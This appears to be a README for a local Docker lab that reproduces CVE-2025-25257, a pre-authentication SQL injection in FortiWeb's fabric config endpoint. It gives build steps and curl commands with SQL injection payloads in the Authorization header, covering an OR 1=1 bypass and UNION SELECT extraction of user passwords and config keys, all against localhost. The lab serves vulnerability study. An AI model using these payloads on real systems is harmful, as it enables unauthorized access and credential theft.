CVE-2025-25257 - Experimentation Environment

Experiment Architecture (the environment simulates vulnerable FortiWeb components)

Vulnerable endpoint: /api/system/fabric/config
Injection vector: HTTP Header Authorization: Bearer
Mechanism: Direct SQL concatenation (Python f-string)
Authentication: None (full bypass)
Database: SQLite (for demonstration)

cve-2025-25257

├── Dockerfile
├── docker-compose.yml
├── requirements.txt
├── app.py
├── init_db.py
├── payload.txt
└── README.md

Dockerfile: intentionally vulnerable HTTP service / exposes an exploitable API without authentication

docker-compose.yml: orchestrates a reproducible vulnerable service / exposes the attackable API via HTTP / isolates the experimentation environment

requirements.txt: ensures a stable and reproducible environment

app.py: implements a pre-authentication endpoint / accepts user input via Authorization / concatenates this input into an SQL query / enables authentication bypass and data extraction

init_db.py: prepares an exploitable dataset / allows a clear demonstration of authentication bypass and data exfiltration

payload.txt provides a minimal, controlled, and observable proof of code execution

Step 1: Build and launch the container

Building the Docker image

docker-compose build

Starting the container

docker-compose up -d

Verify that the container is active

docker-compose ps

Check the logs

docker-compose logs -f

Step 2: Verify service accessibility

curl http://localhost:8080/api/system/status

Step 3: Exploiting the vulnerability

Non-malicious request

curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer valid_token_001"

Malicious SQL injection request: Bypass with OR 1=1

curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' OR '1'='1"

Data extraction with UNION-SELECT injection

curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, username, password, role, email, NULL FROM users--"

Exfiltration of sensitive data

curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, key, value, description, '2025-01-01',NULL FROM system_config--"

Step 4: Cleanup and Stop

Stop the container

docker-compose down

Remove volumes

docker-compose down -v

Remove the image

docker rmi cve-2025-25257-lab-fortiweb-vulnerable:latest